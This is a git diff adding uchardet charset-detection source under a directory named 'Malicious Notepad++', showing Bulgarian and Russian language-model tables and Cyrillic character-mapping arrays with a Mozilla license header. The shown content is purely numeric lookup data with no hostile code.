+3,3,3,3,3,1,3,3,3,3,3,2,3,3,3,2,3,3,2,3,2,2,2,3,1,2,0,1,0,1,0,0, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, +3,3,3,3,3,3,3,3,3,3,3,1,1,1,2,2,1,3,1,3,2,2,3,0,0,1,0,1,0,1,0,0, +0,0,0,1,0,0,0,0,1,0,2,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, +3,3,3,3,3,2,2,3,2,2,3,1,2,1,1,1,2,3,1,3,1,2,2,0,1,1,1,1,0,1,0,0, +0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, +3,3,3,3,3,1,3,2,2,3,3,1,2,3,1,1,3,3,3,3,1,2,2,1,1,1,0,2,0,2,0,1, +0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,1,2,2,3,3,3,2,2,1,1,2,0,2,0,1,0,0, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, +3,0,1,2,1,3,3,2,3,3,3,3,3,2,3,2,1,0,3,1,2,1,2,1,2,3,2,1,0,1,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,1,1,2,3,3,3,3,3,3,3,3,3,3,3,3,0,0,3,1,3,3,2,3,3,2,2,2,0,1,0,0, +0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,3,3,3,3,0,3,3,3,3,3,2,1,1,2,1,3,3,0,3,1,1,1,1,3,2,0,1,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, +3,3,2,2,2,3,3,3,3,3,3,3,3,3,3,3,1,1,3,1,3,3,2,3,2,2,2,3,0,2,0,0, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,2,3,3,2,2,3,2,1,1,1,1,1,3,1,3,1,1,0,0,0,1,0,0,0,1,0,0, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,2,3,2,0,3,2,0,3,0,2,0,0,2,1,3,1,0,0,1,0,0,0,1,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, +3,3,3,3,2,1,1,1,1,2,1,1,2,1,1,1,2,2,1,2,1,1,1,0,1,1,0,1,0,1,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, +3,3,3,3,2,1,3,1,1,2,1,3,2,1,1,0,1,2,3,2,1,1,1,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,3,3,3,3,2,2,1,0,1,0,0,1,0,0,0,2,1,0,3,0,0,1,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, +3,3,3,2,3,2,3,3,1,3,2,1,1,1,2,1,1,2,1,3,0,1,0,0,0,1,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,1,1,2,2,3,3,2,3,2,2,2,3,1,2,2,1,1,2,1,1,2,2,0,1,1,0,1,0,2,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,2,1,3,1,0,2,2,1,3,2,1,0,0,2,0,2,0,1,0,0,0,0,0,0,0,1,0,0, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, +3,3,3,3,3,3,1,2,0,2,3,1,2,3,2,0,1,3,1,2,1,1,1,0,0,1,0,0,2,2,2,3, +2,2,2,2,1,2,1,1,2,2,1,1,2,0,1,1,1,0,0,1,1,0,0,1,1,0,0,0,1,1,0,1, +3,3,3,3,3,2,1,2,2,1,2,0,2,0,1,0,1,2,1,2,1,1,0,0,0,1,0,1,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1, +3,3,2,3,3,1,1,3,1,0,3,2,1,0,0,0,1,2,0,2,0,1,0,0,0,1,0,1,2,1,2,2, +1,1,1,1,1,1,1,2,2,2,1,1,1,1,1,1,1,0,1,2,1,1,1,0,0,0,0,0,1,1,0,0, +3,1,0,1,0,2,3,2,2,2,3,2,2,2,2,2,1,0,2,1,2,1,1,1,0,1,2,1,2,2,2,1, +1,1,2,2,2,2,1,2,1,1,0,1,2,1,2,2,2,1,1,1,0,1,1,1,1,2,0,1,0,0,0,0, +2,3,2,3,3,0,0,2,1,0,2,1,0,0,0,0,2,3,0,2,0,0,0,0,0,1,0,0,2,0,1,2, +2,1,2,1,2,2,1,1,1,2,1,1,1,0,1,2,2,1,1,1,1,1,0,1,1,1,0,0,1,2,0,0, +3,3,2,2,3,0,2,3,1,1,2,0,0,0,1,0,0,2,0,2,0,0,0,1,0,1,0,1,2,0,2,2, +1,1,1,1,2,1,0,1,2,2,2,1,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,1,1,0,0, +2,3,2,3,3,0,0,3,0,1,1,0,1,0,0,0,2,2,1,2,0,0,0,0,0,0,0,0,2,0,1,2, +2,2,1,1,1,1,1,2,2,2,1,0,2,0,1,0,1,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0, +3,3,3,3,2,2,2,2,2,0,2,1,1,1,1,2,1,2,1,1,0,2,0,1,0,1,0,0,2,0,1,2, +1,1,1,1,1,1,1,2,2,1,1,0,2,0,1,0,2,0,0,1,1,1,0,0,2,0,0,0,1,1,0,0, +2,3,3,3,3,1,0,0,0,0,0,0,0,0,0,0,2,0,0,1,1,0,0,0,0,0,0,1,2,0,1,2, +2,2,2,1,1,2,1,1,2,2,2,1,2,0,1,1,1,1,1,1,0,1,1,1,1,0,0,1,1,1,0,0, +2,3,3,3,3,0,2,2,0,2,1,0,0,0,1,1,1,2,0,2,0,0,0,3,0,0,0,0,2,0,2,2, +1,1,1,2,1,2,1,1,2,2,2,1,2,0,1,1,1,0,1,1,1,1,0,2,1,0,0,0,1,1,0,0, +2,3,3,3,3,0,2,1,0,0,2,0,0,0,0,0,1,2,0,2,0,0,0,0,0,0,0,0,2,0,1,2, +1,1,1,2,1,1,1,1,2,2,2,0,1,0,1,1,1,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0, +3,3,2,2,3,0,1,0,1,0,0,0,0,0,0,0,1,1,0,3,0,0,0,0,0,0,0,0,1,0,2,2, +1,1,1,1,1,2,1,1,2,2,1,2,2,1,0,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,0,0, +3,1,0,1,0,2,2,2,2,3,2,1,1,1,2,3,0,0,1,0,2,1,1,0,1,1,1,1,2,1,1,1, +1,2,2,1,2,1,2,2,1,1,0,1,2,1,2,2,1,1,1,0,0,1,1,1,2,1,0,1,0,0,0,0, +2,1,0,1,0,3,1,2,2,2,2,1,2,2,1,1,1,0,2,1,2,2,1,1,2,1,1,0,2,1,1,1, +1,2,2,2,2,2,2,2,1,2,0,1,1,0,2,1,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0,0, +2,1,1,1,1,2,2,2,2,1,2,2,2,1,2,2,1,1,2,1,2,3,2,2,1,1,1,1,0,1,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,2,2,3,2,0,1,2,0,1,2,1,1,0,1,0,1,2,1,2,0,0,0,1,1,0,0,0,1,0,0,2, +1,1,0,0,1,1,0,1,1,1,1,0,2,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0, +2,0,0,0,0,1,2,2,2,2,2,2,2,1,2,1,1,1,1,1,1,1,0,1,1,1,1,1,2,1,1,1, +1,2,2,2,2,1,1,2,1,2,1,1,1,0,2,1,2,1,1,1,0,2,1,1,1,1,0,1,0,0,0,0, +3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0, +1,1,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,2,2,3,2,0,0,0,0,1,0,0,0,0,0,0,1,1,0,2,0,0,0,0,0,0,0,0,1,0,1,2, +1,1,1,1,1,1,0,0,2,2,2,2,2,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1, +2,3,1,2,1,0,1,1,0,2,2,2,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,1,2, +1,1,1,1,2,1,1,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0, +2,2,2,2,2,0,0,2,0,0,2,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,2,0,2,2, +1,1,1,1,1,0,0,1,2,1,1,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0, +1,2,2,2,2,0,0,2,0,1,1,0,0,0,1,0,0,2,0,2,0,0,0,0,0,0,0,0,0,0,1,1, +0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0, +1,2,2,3,2,0,0,1,0,0,1,0,0,0,0,0,0,1,0,2,0,0,0,1,0,0,0,0,0,0,0,2, +1,1,0,0,1,0,0,0,1,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0, +2,1,2,2,2,1,2,1,2,2,1,1,2,1,1,1,0,1,1,1,1,2,0,1,0,1,1,1,1,0,1,1, +1,1,2,1,1,1,1,1,1,0,0,1,2,1,1,1,1,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0, +1,0,0,1,3,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,2,2,2,1,0,0,1,0,2,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,2,0,0,1, +0,2,0,1,0,0,1,1,2,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0, +1,2,2,2,2,0,1,1,0,2,1,0,1,1,1,0,0,1,0,2,0,1,0,0,0,0,0,0,0,0,0,1, +0,1,0,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0, +2,2,2,2,2,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1, +0,1,0,1,1,1,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0, +2,0,1,0,0,1,2,1,1,1,1,1,1,2,2,1,0,0,1,0,1,0,0,0,0,1,1,1,1,0,0,0, +1,1,2,1,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,2,1,2,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1, +0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,0,0,1,2,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0, +0,1,1,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0, +1,0,1,0,0,1,1,1,1,1,1,1,1,1,1,1,0,0,1,0,2,0,0,2,0,1,0,0,1,0,0,1, +1,1,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0, +1,1,1,1,1,1,1,2,0,0,0,0,0,0,2,1,0,1,1,0,0,1,1,1,0,1,0,0,0,0,0,0, +2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1,1,0,1,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, +}; + +const SequenceModel Latin5BulgarianModel( + Latin5_BulgarianCharToOrderMap, + BulgarianLangModel, + (float)0.969392, + PR_FALSE, + "ISO-8859-5" +); + +const SequenceModel Win1251BulgarianModel( + win1251BulgarianCharToOrderMap, + BulgarianLangModel, + (float)0.969392, + PR_FALSE, + "windows-1251" +); diff --git a/Malicious Notepad++/src/uchardet/LangCyrillicModel.cpp b/Malicious Notepad++/src/uchardet/LangCyrillicModel.cpp new file mode 100644 index 0000000..42f2887 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/LangCyrillicModel.cpp @@ -0,0 +1,349 @@ +/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is Mozilla Communicator client code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#include "nsSBCharSetProber.h" + + + +//KOI8-R language model +//Character Mapping Table: +static const unsigned char KOI8R_CharToOrderMap[] = +{ +255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, //00 +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, //10 ++253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, //20 +252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, //30 +253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154, //40 +155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253, //50 +253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69, //60 + 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253, //70 +191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206, //80 +207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222, //90 +223,224,225, 68,226,227,228,229,230,231,232,233,234,235,236,237, //a0 +238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253, //b0 + 27, 3, 21, 28, 13, 2, 39, 19, 26, 4, 23, 11, 8, 12, 5, 1, //c0 + 15, 16, 9, 7, 6, 14, 24, 10, 17, 18, 20, 25, 30, 29, 22, 54, //d0 + 59, 37, 44, 58, 41, 48, 53, 46, 55, 42, 60, 36, 49, 38, 31, 34, //e0 + 35, 43, 45, 32, 40, 52, 56, 33, 61, 62, 51, 57, 47, 63, 50, 70, //f0 +}; + +static const unsigned char win1251_CharToOrderMap[] = +{ +255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, //00 +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, //10 ++253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, //20 +252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, //30 +253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154, //40 +155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253, //50 +253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69, //60 + 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253, //70 +191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206, +207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222, +223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238, +239,240,241,242,243,244,245,246, 68,247,248,249,250,251,252,253, + 37, 44, 33, 46, 41, 48, 56, 51, 42, 60, 36, 49, 38, 31, 34, 35, + 45, 32, 40, 52, 53, 55, 58, 50, 57, 63, 70, 62, 61, 47, 59, 43, + 3, 21, 10, 19, 13, 2, 24, 20, 4, 23, 11, 8, 12, 5, 1, 15, + 9, 7, 6, 14, 39, 26, 28, 22, 25, 29, 54, 18, 17, 30, 27, 16, +}; + +static const unsigned char latin5_CharToOrderMap[] = +{ +255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, //00 +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, //10 ++253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, //20 +252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, //30 +253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154, //40 +155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253, //50 +253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69, //60 + 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253, //70 +191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206, +207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222, +223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238, + 37, 44, 33, 46, 41, 48, 56, 51, 42, 60, 36, 49, 38, 31, 34, 35, + 45, 32, 40, 52, 53, 55, 58, 50, 57, 63, 70, 62, 61, 47, 59, 43, + 3, 21, 10, 19, 13, 2, 24, 20, 4, 23, 11, 8, 12, 5, 1, 15, + 9, 7, 6, 14, 39, 26, 28, 22, 25, 29, 54, 18, 17, 30, 27, 16, +239, 68,240,241,242,243,244,245,246,247,248,249,250,251,252,255, +}; + +static const unsigned char macCyrillic_CharToOrderMap[] = +{ +255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, //00 +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, //10 ++253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, //20 +252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, //30 +253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154, //40 +155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253, //50 +253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69, //60 + 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253, //70 + 37, 44, 33, 46, 41, 48, 56, 51, 42, 60, 36, 49, 38, 31, 34, 35, + 45, 32, 40, 52, 53, 55, 58, 50, 57, 63, 70, 62, 61, 47, 59, 43, +191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206, +207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222, +223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238, +239,240,241,242,243,244,245,246,247,248,249,250,251,252, 68, 16, + 3, 21, 10, 19, 13, 2, 24, 20, 4, 23, 11, 8, 12, 5, 1, 15, + 9, 7, 6, 14, 39, 26, 28, 22, 25, 29, 54, 18, 17, 30, 27,255, +}; + +static const unsigned char IBM855_CharToOrderMap[] = +{ +255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, //00 +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, //10 ++253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, //20 +252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, //30 +253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154, //40 +155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253, //50 +253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69, //60 + 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253, //70 +191,192,193,194, 68,195,196,197,198,199,200,201,202,203,204,205, +206,207,208,209,210,211,212,213,214,215,216,217, 27, 59, 54, 70, + 3, 37, 21, 44, 28, 58, 13, 41, 2, 48, 39, 53, 19, 46,218,219, +220,221,222,223,224, 26, 55, 4, 42,225,226,227,228, 23, 60,229, +230,231,232,233,234,235, 11, 36,236,237,238,239,240,241,242,243, + 8, 49, 12, 38, 5, 31, 1, 34, 15,244,245,246,247, 35, 16,248, + 43, 9, 45, 7, 32, 6, 40, 14, 52, 24, 56, 10, 33, 17, 61,249, +250, 18, 62, 20, 51, 25, 57, 30, 47, 29, 63, 22, 50,251,252,255, +}; + +static const unsigned char IBM866_CharToOrderMap[] = +{ +255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, //00 +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, //10 ++253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, //20 +252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, //30 +253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154, //40 +155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253, //50 +253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69, //60 + 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253, //70 + 37, 44, 33, 46, 41, 48, 56, 51, 42, 60, 36, 49, 38, 31, 34, 35, + 45, 32, 40, 52, 53, 55, 58, 50, 57, 63, 70, 62, 61, 47, 59, 43, + 3, 21, 10, 19, 13, 2, 24, 20, 4, 23, 11, 8, 12, 5, 1, 15, +191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206, +207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222, +223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238, + 9, 7, 6, 14, 39, 26, 28, 22, 25, 29, 54, 18, 17, 30, 27, 16, +239, 68,240,241,242,243,244,245,246,247,248,249,250,251,252,255, +}; + +//Model Table: +//total sequences: 100% +//first 512 sequences: 97.6601% +//first 1024 sequences: 2.3389% +//rest sequences: 0.1237% +//negative sequences: 0.0009% +static const PRUint8 RussianLangModel[] = +{ +0,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,1,1,3,3,3,3,1,3,3,3,2,3,2,3,3, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,0,3,2,2,2,2,2,0,0,2, +3,3,3,2,3,3,3,3,3,3,3,3,3,3,2,3,3,0,0,3,3,3,3,3,3,3,3,3,2,3,2,0, +0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,2,2,3,3,3,3,3,3,3,3,3,2,3,3,0,0,3,3,3,3,3,3,3,3,2,3,3,1,0, +0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,2,3,2,3,3,3,3,3,3,3,3,3,3,3,3,3,0,0,3,3,3,3,3,3,3,3,3,3,3,2,1, +0,0,0,0,0,0,0,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,0,0,3,3,3,3,3,3,3,3,3,3,3,2,1, +0,0,0,0,0,1,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,3,3,2,2,2,3,1,3,3,1,3,3,3,3,2,2,3,0,2,2,2,3,3,2,1,0, +0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,2,3,3,3,3,3,2,2,3,2,3,3,3,2,1,2,2,0,1,2,2,2,2,2,2,0, +0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,2,3,0,2,2,3,3,2,1,2,0, +0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,1,0,0,2,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,2,3,3,1,2,3,2,2,3,2,3,3,3,3,2,2,3,0,3,2,2,3,1,1,1,0, +0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,3,3,2,2,3,3,3,3,3,2,3,3,3,3,2,2,2,0,3,3,3,2,2,2,2,0, +0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,3,3,3,3,2,3,2,3,3,3,3,3,3,2,3,2,2,0,1,3,2,1,2,2,1,0, +0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,3,3,3,3,3,2,1,1,3,0,1,1,1,1,2,1,1,0,2,2,2,1,2,0,1,0, +0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,2,3,3,2,2,2,2,1,3,2,3,2,3,2,1,2,2,0,1,1,2,1,2,1,2,0, +0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,3,3,3,3,3,3,2,2,3,2,3,3,3,2,2,2,2,0,2,2,2,2,3,1,1,0, +0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, +3,2,3,2,2,3,3,3,3,3,3,3,3,3,1,3,2,0,0,3,3,3,3,2,3,3,3,3,2,3,2,0, +0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,3,3,3,3,3,2,2,3,3,0,2,1,0,3,2,3,2,3,0,0,1,2,0,0,1,0,1,2,1,1,0, +0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,0,3,0,2,3,3,3,3,2,3,3,3,3,1,2,2,0,0,2,3,2,2,2,3,2,3,2,2,3,0,0, +0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,2,3,0,2,3,2,3,0,1,2,3,3,2,0,2,3,0,0,2,3,2,2,0,1,3,1,3,2,2,1,0, +0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,1,3,0,2,3,3,3,3,3,3,3,3,2,1,3,2,0,0,2,2,3,3,3,2,3,3,0,2,2,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,2,2,3,3,2,2,2,3,3,0,0,1,1,1,1,1,2,0,0,1,1,1,1,0,1,0, +0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,2,2,3,3,3,3,3,3,3,0,3,2,3,3,2,3,2,0,2,1,0,1,1,0,1,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,2,3,3,3,2,2,2,2,3,1,3,2,3,1,1,2,1,0,2,2,2,2,1,3,1,0, +0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, +2,2,3,3,3,3,3,1,2,2,1,3,1,0,3,0,0,3,0,0,0,1,1,0,1,2,1,0,0,0,0,0, 